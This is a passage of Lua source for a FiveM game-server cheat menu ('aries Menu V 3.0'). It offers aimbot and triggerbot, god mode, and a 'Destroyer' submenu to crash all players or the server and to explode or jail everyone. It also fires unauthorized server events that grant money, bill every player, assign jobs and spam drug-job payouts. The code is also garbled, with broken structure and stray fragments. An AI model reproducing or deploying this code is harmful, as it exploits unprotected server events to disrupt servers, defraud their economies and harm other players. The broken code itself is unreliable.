Citizen.Wait(200)
local avion2 =
CreateVehicle(GetHashKey(camion), GetEntityCoords(GetPlayerPed(i)) + 2.0, true,
true) and
CreateVehicle(GetHashKey(camion),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(camion), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(avion),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(avion),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(avion), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(avion2),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(avion2),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(avion2), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(heli),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(heli),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(heli), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(random),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(random),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(random), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true)
end
end
SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 70.0)
elseif IsControlPressed(0, 109) then
SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 0.0)
end
end
if TriggerBot then
local Aiming, Entity =
GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
if Aiming then
if IsEntityAPed(Entity) and not
IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end
if AimBot then
for i = 0, 128 do
if i ~= PlayerId() then
if IsPlayerFreeAiming(PlayerId()) then
local TargetPed = GetPlayerPed(i)
local TargetPos =
GetEntityCoords(TargetPed)
local Exist = DoesEntityExist(TargetPed)
local Dead = IsPlayerDead(TargetPed)
DisplayRadar(true)
if RainbowVeh then
local ra = RGBRainbow(1.0)
SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r,
ra.g, ra.b)
SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r,
ra.g, ra.b)
end
if Noclip then
local currentSpeed = 2
local noclipEntity =
IsPedInAnyVehicle(PlayerPedId(), false) and
GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
FreezeEntityPosition(PlayerPedId(), true)
SetEntityInvincible(PlayerPedId(), true)
newPos =
GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0,
yoff * (currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
FreezeEntityPosition(noclipEntity, false)
SetEntityInvincible(noclipEntity, false)
SetEntityCollision(noclipEntity, true, true)
end
end
end
)
function GetPlayers()
local players = {}
for i = 0, 128 do
if NetworkIsPlayerActive(i) then
table.insert(players, i)
end
end
return players
end
--[[Citizen.CreateThread(
function()
local blips = {}
local currentPlayer = PlayerId()
while true do
Wait(100)
for player = 0, 64 do
if player ~= currentPlayer and
NetworkIsPlayerActive(player) then
local playerPed = GetPlayerPed(player)
local playerName = GetPlayerName(player)
RemoveBlip(blips[player])
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
SetBlipSprite(new_blip, 1)
SetBlipRotation(blip,
math.ceil(GetEntityHeading(veh))) -- update rotation
-- Make blip white
--SetBlipColour(new_blip, player )
ESX.TriggerServerCallback('esx_society:setJob', function()
end, playerMatch, 'unemployed', 0, 'hire')
end)
end
end
Citizen.CreateThread(
function()
FreezeEntityPosition(entity, false)
local currentItemIndex = 1
local selectedItemIndex = 1
while Enabled do
if ariesMenu.IsMenuOpened("MainMenu") then
drawNotification("~g~Working... ~n~~r~aries Menu ~s~V 3.0")
drawNotification("~g~Official Discord:
~s~~n~https://discord.gg/5BAeqT2 ~n~~r~aries#1249")
if ariesMenu.MenuButton("~h~Player ~s~Menu
»", "SelfMenu") then
elseif ariesMenu.MenuButton("~h~Online ~s~Players
»", "OnlinePlayerMenu") then
elseif ariesMenu.MenuButton("~h~World ~s~Menu
»", "Xposed") then
elseif ariesMenu.MenuButton("~h~Teleporte ~s~Menu
»", "TeleportMenu") then
elseif ariesMenu.MenuButton("~h~Vehicles ~s~Menu
»", "VehMenu") then
elseif ariesMenu.MenuButton("~h~Weapons ~s~Menu
»", "WepMenu") then
elseif ariesMenu.MenuButton("~h~Fuck ~s~Server
»", "Destroyer") then
elseif ariesMenu.MenuButton("~h~<FONT COLOR='#15f600'>∑ LUA
MENU ∑ ~s~»", "ServerMenu") then
elseif ariesMenu.Button("~h~~r~OFF ~s~Menu") then
Enabled = false
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("SelfMenu") then
if
ariesMenu.CheckBox(
"~h~~g~God ~h~~r~Mode",
Godmode,
function(enabled)
Godmode = enabled
end
)
then
elseif ariesMenu.Button("~h~~r~Suicide") then
SetEntityHealth(PlayerPedId(), 0)
elseif ariesMenu.Button("~s~Revive ~h~~g~ESX") then
TriggerEvent("esx_ambulancejob:revive")
elseif ariesMenu.Button("~h~~g~Heal") then
SetEntityHealth(PlayerPedId(), 200)
elseif ariesMenu.Button("~h~~b~Armour") then
SetPedArmour(PlayerPedId(), 200)
elseif ariesMenu.Button("~w~~h~Set hunger to ~h~~g~100%")
then
TriggerEvent("esx_status:set", "hunger", 1000000)
elseif ariesMenu.Button("~w~~h~Set thirst to ~h~~g~100%")
then
TriggerEvent("esx_status:set", "thirst", 1000000)
elseif ariesMenu.Button("~h~~b~Open Menu Jail ~g~ESX") then
TriggerEvent("esx-qalle-jail:openJailMenu")
elseif ariesMenu.Button("~h~~b~Unjail") then
TriggerServerEvent('esx_jailer:unjailTime', -1)
TriggerServerEvent('JailUpdate', 0)
TriggerEvent('UnJP')
elseif
ariesMenu.CheckBox("~h~Infinite
Stamina",InfStamina,function(enabled)InfStamina = enabled end)
then
elseif
ariesMenu.CheckBox(
"~h~Super Jump",
SuperJump,
function(enabled)
SuperJump = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~Explosive Punch",
ePunch,
function(enabled)
ePunch = enabled
end)
then
elseif
ariesMenu.CheckBox("~h~Speed Demon",SpeedDemon,
function(enabled)SpeedDemon = enabled end)
then
elseif
ariesMenu.CheckBox(
"~h~Invisible",
Invisible,
function(enabled)
Invisible = enabled
end)
then
elseif
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("TeleportMenu") then
if ariesMenu.Button("~h~Teleport ~h~~g~Waypoint") then
TeleportToWaypoint()
elseif ariesMenu.Button("~h~Teleport ~h~~g~Vehicle") then
local playerPed = GetPlayerPed(-1)
local playerPedPos = GetEntityCoords(playerPed, true)
local NearestVehicle =
GetClosestVehicle(GetEntityCoords(playerPed, true), 1000.0, 0, 4)
local NearestVehiclePos =
GetEntityCoords(NearestVehicle, true)
local NearestPlane =
GetClosestVehicle(GetEntityCoords(playerPed, true), 1000.0, 0, 16384)
local NearestPlanePos = GetEntityCoords(NearestPlane,
true)
drawNotification("~y~Waiting...")
Citizen.Wait(1000)
if (NearestVehicle == 0) and (NearestPlane == 0) then
drawNotification("~r~No Vehicle!!!")
elseif (NearestVehicle == 0) and (NearestPlane ~= 0) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane,
false)
else
local driverPed =
GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane,
false)
end
drawNotification("~g~Teleported!")
elseif (NearestVehicle ~= 0) and (NearestPlane == 0) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -
1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle,
false)
else
local driverPed =
GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -
1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle,
false)
end
drawNotification("~g~Teleported!")
elseif (NearestVehicle ~= 0) and (NearestPlane ~= 0) then
if Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) <
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed,
NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed =
GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed,
NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
elseif Vdist(NearestVehiclePos.x,
NearestVehiclePos.y, NearestVehiclePos.z, playerPedPos.x, playerPedPos.y,
playerPedPos.z) > Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z,
playerPedPos.x, playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed,
NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane,
false)
else
local driverPed =
GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed,
NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane,
false)
end
end
drawNotification("~g~Teleported!")
end
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("Xposed") then
if
ariesMenu.CheckBox(
"~h~ESP",
esp,
function(enabled)
esp = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~Players Blips Map",
playerBlips,
function(enabled)
playerBlips = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Clear ~s~All Vehicles",
destroyvehicles,
function(enabled)
destroyvehicles = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Explode ~s~All Vehicles",
explodevehicles,
function(enabled)
explodevehicles = enabled
end)
then
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("Destroyer") then
if ariesMenu.Button("~h~~r~Give All Weapons ~s~~h~Players") then
for ids = 0, 128 do
if ids ~= PlayerId() and GetPlayerServerId(ids)
~= 0 then
for i = 1, #allWeapons do
GiveWeaponToPed(PlayerPedId(ids),
GetHashKey(allWeapons[i]), 1000, false, false)
end
end
end
elseif ariesMenu.Button("~h~~r~Remove All Weapons
~s~~h~Players") then
for ids = 0, 128 do
if ids ~= PlayerId() and GetPlayerServerId(ids)
~= 0 then
for i = 1, #allWeapons do
RemoveAllPedWeapons(PlayerPedId(ids),
true)
end
end
end
elseif
ariesMenu.CheckBox(
"~h~~r~Explode ~s~All Players",
blowall,
function(enabled)
blowall = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Crash ~s~All Players",
nuke,
function(enabled)
nuke = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Destroyer ~s~Server economy ~g~ESX",
esxdestroy,
function(enabled)
esxdestroy = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Jail ~s~All Players",
banallusers,
function(enabled)
banallusers = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Cuff ~s~All Players",
freezeall,
function(enabled)
freezeall = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~~r~Crash ~s~Server",
servercrasher,
function(enabled)
servercrasher = enabled
end)
then
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("WepMenu") then
if ariesMenu.MenuButton("~h~Specific Weapon",
"SingleWepMenu") then
elseif ariesMenu.Button("~h~~g~Give ~s~~h~All Weapons")
then
for i = 1, #allWeapons do
GiveWeaponToPed(PlayerPedId(),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif ariesMenu.Button("~h~~r~Remove ~s~~h~All Weapons")
then
for i = 1, #allWeapons do
RemoveAllPedWeapons(PlayerPedId(), true)
end
elseif ariesMenu.Button("~h~~b~Give Ammo") then
for i = 1, #allWeapons do
AddAmmoToPed(PlayerPedId(),
GetHashKey(allWeapons[i]), 200)
end
elseif
ariesMenu.ComboBox(
"~h~Weapon/Melee Damage",
{"1x (Default)", "2x", "3x", "4x", "5x"},
currentItemIndex,
selectedItemIndex,
function(currentIndex, selectedIndex)
currentItemIndex = currentIndex
selectedItemIndex = selectedIndex
SetPlayerWeaponDamageModifier(PlayerId(),
selectedItemIndex)
SetPlayerMeleeWeaponDamageModifier(PlayerId(), selectedItemIndex)
end
)
then
elseif
ariesMenu.CheckBox(
"~h~TriggerBot",
TriggerBot,
function(enabled)
TriggerBot = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~AimBot",
AimBot,
function(enabled)
AimBot = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~Infinite Ammo",
InfAmmo,
function(enabled)
InfAmmo = enabled
SetPedInfiniteAmmoClip(PlayerPedId(),
InfAmmo)
end
)
then
elseif
ariesMenu.CheckBox("~h~Vehicle Gun",VehicleGun,
function(enabled)VehicleGun = enabled end)
then
elseif
ariesMenu.CheckBox("~h~Delete Gun",DeleteGun,
function(enabled)DeleteGun = enabled end)
then
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("SingleWepMenu") then
for i = 1, #allWeapons do
if ariesMenu.Button(allWeapons[i]) then
GiveWeaponToPed(PlayerPedId(),
GetHashKey(allWeapons[i]), 1000, false, false)
end
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("VehMenu") then
if ariesMenu.Button("~h~~g~Spawn Vehicle") then
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
if ModelName and IsModelValid(ModelName) and
IsModelAVehicle(ModelName) then
RequestModel(ModelName)
while not HasModelLoaded(ModelName) do
Citizen.Wait(0)
end
local veh =
CreateVehicle(GetHashKey(ModelName), GetEntityCoords(PlayerPedId()),
GetEntityHeading(PlayerPedId()), true, true)
SetPedCanBeKnockedOffVehicle(PlayerPedId(), Nofall)
end
)
then
elseif
ariesMenu.CheckBox(
"~h~Vehicle Godmode",
VehGod,
function(enabled)
VehGod = enabled
end
)
then
elseif
ariesMenu.CheckBox(
"~h~Vehicle Speedboost ~g~Num9",
VehSpeed,
function(enabled)
VehSpeed = enabled
end)
then
elseif
ariesMenu.CheckBox(
"~h~Super Grip",
supergrip,
function(enabled)
supergrip = enabled
end
)
then
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("ServerMenu") then
if ariesMenu.MenuButton("~s~Menu ~h~~r~RECRUIT PLAYERS
~g~(NEW)", "RecrutarPlayers") then
elseif ariesMenu.MenuButton("~s~Menu ~b~~h~BOSS",
"ESXBoss") then
elseif ariesMenu.MenuButton("~s~Menu ~g~~h~MONEY",
"ESXMoney") then
elseif ariesMenu.MenuButton("~s~Menu ~p~~h~DRUGS",
"ESXDrugs") then
elseif ariesMenu.MenuButton("~s~Menu ~o~~h~OTHERS",
"ESXMisc") then
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("ESXBoss") then
if ariesMenu.Button("~c~~h~Mechanic~s~ Boss Menu") then
TriggerEvent('esx_society:openBossMenu', 'mecano',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~b~~h~Police~s~ Boss Menu") then
TriggerEvent('esx_society:openBossMenu', 'police',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~r~~h~Ambulance~s~ Boss Menu")
then
TriggerEvent('esx_society:openBossMenu', 'ambulance',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~y~~h~Taxi~s~ Boss Menu") then
TriggerEvent('esx_society:openBossMenu', 'taxi',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~g~~h~Real Estate~s~ Boss Menu")
then
TriggerEvent('esx_society:openBossMenu',
'realestateagent', function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~p~~h~Gang~s~ Boss Menu") then
TriggerEvent('esx_society:openBossMenu', 'gang',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~o~~h~Car Dealer~s~ Boss Menu")
then
TriggerEvent('esx_society:openBossMenu', 'cardealer',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~y~~h~Banker~s~ Boss Menu") then
TriggerEvent('esx_society:openBossMenu', 'banker',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~c~~h~Mafia~s~ Boss Menu") then
TriggerEvent('esx_society:openBossMenu', 'mafia',
function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
elseif ariesMenu.Button("~g~~h~ESX ~y~Custom Boss Menu")
then
local result = KeyboardInput("Enter Boss Menu Script
Name", "", 10)
if result then
TriggerEvent('esx_society:openBossMenu',
result, function(data,menu) menu.close() end)
setMenuVisible(currentMenu, false)
end
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("ESXMoney") then
if ariesMenu.Button("~g~~h~MONEY ~s~1") then
local result = KeyboardInput("Enter money amount", "", 10000)
if result then
TriggerServerEvent("esx_jobs:caution", "give_back",
result)
TriggerServerEvent('esx_truckerjob:pay', result)
TriggerServerEvent('AdminMenu:giveBank', result)
TriggerServerEvent('AdminMenu:giveCash', result)
TriggerServerEvent("esx_gopostaljob:pay", result)
TriggerServerEvent("esx_banksecurity:pay", result)
TriggerServerEvent("esx_slotmachine:sv:2", result)
TriggerServerEvent("lscustoms:payGarage", {costs = -
result})
TriggerServerEvent("vrp_slotmachine:server:2",
result)
TriggerServerEvent('AdminMenu:giveDirtyMoney',
result)
TriggerServerEvent('esx_truckerjob:pay', result)
end
end
elseif ariesMenu.Button("~s~Bank ~r~~h~Deposit") then
local result = KeyboardInput("Enter amount of money", "",
100)
if result then
TriggerServerEvent("bank:deposit", result)
end
elseif ariesMenu.Button("~s~Bank ~r~~h~Withdraw ") then
local result = KeyboardInput("Enter amount of money", "",
100)
if result then
TriggerServerEvent("bank:withdraw", result)
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("ESXMisc") then
if ariesMenu.Button("~g~~h~ESX ~r~SEND EVERYONE A
BILL") then
local amount = KeyboardInput("Enter Amount", "", 100000000)
local name = KeyboardInput("Enter the name of the Bill", "",
100000000)
if amount and name then
for i = 0, 128 do
TriggerServerEvent('esx_billing:sendBill',
GetPlayerServerId(i), "Purposeless", name, amount)
end
end
elseif ariesMenu.Button("~g~~h~ESX ~w~Get all licenses
Drive") then
TriggerServerEvent('esx_dmvschool:addLicense', dmv)
TriggerServerEvent('esx_dmvschool:addLicense', drive)
TriggerServerEvent('esx_dmvschool:addLicense',
drive_bike)
TriggerServerEvent('esx_dmvschool:addLicense',
drive_truck)
TriggerServerEvent("dmv:success")
elseif ariesMenu.Button("~h~Send Discord Message") then
local Message = KeyboardInput("Enter message to
send", "", 100)
TriggerServerEvent("DiscordBot:playerDied", Message,
"1337")
drawNotification("The message:~n~" .. Message ..
"~n~Has been ~g~sent!")
elseif ariesMenu.Button("~h~Send Police Car Advert") then
TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityMod
el(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("MiscServerOptions") then
if ariesMenu.Button("~h~Send Discord Message") then
local Message = KeyboardInput("Enter message to
send", "", 100)
TriggerServerEvent("DiscordBot:playerDied", Message,
"1337")
drawNotification("The message:~n~" .. Message ..
"~n~Has been ~g~sent!")
elseif ariesMenu.Button("~h~Send Police Car Advert") then
TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityMod
el(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("VRPOptions") then
if ariesMenu.Button("~r~~h~VRP ~s~Give Money ~ypayGarage")
then
local result = KeyboardInput("Enter amount of money
USE AT YOUR OWN RISK", "", 100)
if result then
TriggerServerEvent("lscustoms:payGarage",
{costs = -result})
end
elseif ariesMenu.Button("~r~~h~VRP ~g~WIN ~s~Slot Machine")
then
local result = KeyboardInput("Enter amount of money
USE AT YOUR OWN RISK", "", 100)
if result then
TriggerServerEvent("vrp_slotmachine:server:2",
result)
end
elseif ariesMenu.Button("~r~~h~VRP ~s~Get driving license")
then
TriggerServerEvent("dmv:success")
elseif ariesMenu.Button("~r~~h~VRP ~s~Bank Deposit") then
local result = KeyboardInput("Enter amount of money",
"", 100)
if result then
TriggerServerEvent("bank:deposit", result)
end
elseif ariesMenu.Button("~r~~h~VRP ~s~Bank Withdraw ") then
local result = KeyboardInput("Enter amount of money",
"", 100)
if result then
TriggerServerEvent("bank:withdraw", result)
end
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("ESXDrugs") then
if ariesMenu.Button("~h~~g~Harvest ~g~Weed ~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
elseif ariesMenu.Button("~h~~g~Transform ~g~Weed ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
elseif ariesMenu.Button("~h~~g~Sell ~g~Weed ~c~(x5)") then
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
elseif ariesMenu.Button("~h~~w~Harvest ~w~Coke ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
elseif ariesMenu.Button("~h~~w~Transform ~w~Coke ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
elseif ariesMenu.Button("~h~~w~Sell ~w~Coke ~c~(x5)") then
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
elseif ariesMenu.Button("~h~~r~Harvest Meth ~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
elseif ariesMenu.Button("~h~~r~Transform Meth ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
elseif ariesMenu.Button("~h~~r~Sell Meth ~c~(x5)") then
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
elseif ariesMenu.Button("~h~~p~Harvest Opium ~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
elseif ariesMenu.Button("~h~~p~Transform Opium ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
elseif ariesMenu.Button("~h~~p~Sell Opium ~c~(x5)") then
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
elseif ariesMenu.Button("~h~~g~Money Wash ~c~(x10)") then
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
elseif ariesMenu.Button("~r~~h~Stop all ~c~(Drugs)") then
TriggerServerEvent("esx_drugs:stopHarvestCoke")
TriggerServerEvent("esx_drugs:stopTransformCoke")
TriggerServerEvent("esx_drugs:stopSellCoke")
TriggerServerEvent("esx_drugs:stopHarvestMeth")
TriggerServerEvent("esx_drugs:stopTransformMeth")
TriggerServerEvent("esx_drugs:stopSellMeth")
TriggerServerEvent("esx_drugs:stopHarvestWeed")
TriggerServerEvent("esx_drugs:stopTransformWeed")
TriggerServerEvent("esx_drugs:stopSellWeed")
TriggerServerEvent("esx_drugs:stopHarvestOpium")
TriggerServerEvent("esx_drugs:stopTransformOpium")
TriggerServerEvent("esx_drugs:stopSellOpium")
drawNotification("~r~Everything is now stopped.")
end
--function PolicePlayers()
--if ESX then
--ESX.TriggerServerCallback('esx_society:getOnlinePlayers',
function(players)
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("RecrutarPlayersOptions") then
ariesMenu.SetSubTitle("RecrutarPlayersOptions", "Recrutar
Players options [" .. GetPlayerName(SelectedPlayer) .. "]")
if ariesMenu.Button("~s~Recruit~c~~h~ Mechanic") then
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(SelectedPlayer), "mecano", 0)
elseif ariesMenu.Button("~s~Recruit~b~~h~ Police") then
--PolicePlayers()
elseif ariesMenu.Button("~s~Recruit~c~~h~ Mafia") then
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(SelectedPlayer), "mafia", 0)
elseif ariesMenu.Button("~s~Recruit~p~~h~ Gang") then
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(SelectedPlayer), "gang", 0)
elseif ariesMenu.Button("~s~Recruit~r~~h~ Inem") then
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(SelectedPlayer), "ambulance", 0)
elseif ariesMenu.Button("~h~Custom Recruit") then
local reason = KeyboardInput("Enter the job name",
"", 100)
local reason2 = KeyboardInput("Enter the nivel job
number 0-10", "", 10)
if reason and reason2 then
TriggerServerEvent('NB:recruterplayer',
GetPlayerServerId(SelectedPlayer), reason, reason2)
end
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("OnlinePlayerMenu") then
for i = 0, 128 do
if NetworkIsPlayerActive(i) and GetPlayerServerId(i)
~= 0 and ariesMenu.MenuButton(GetPlayerName(i).."
~p~["..GetPlayerServerId(i).."]~s~ ~y~["..i.."]~s~ "..
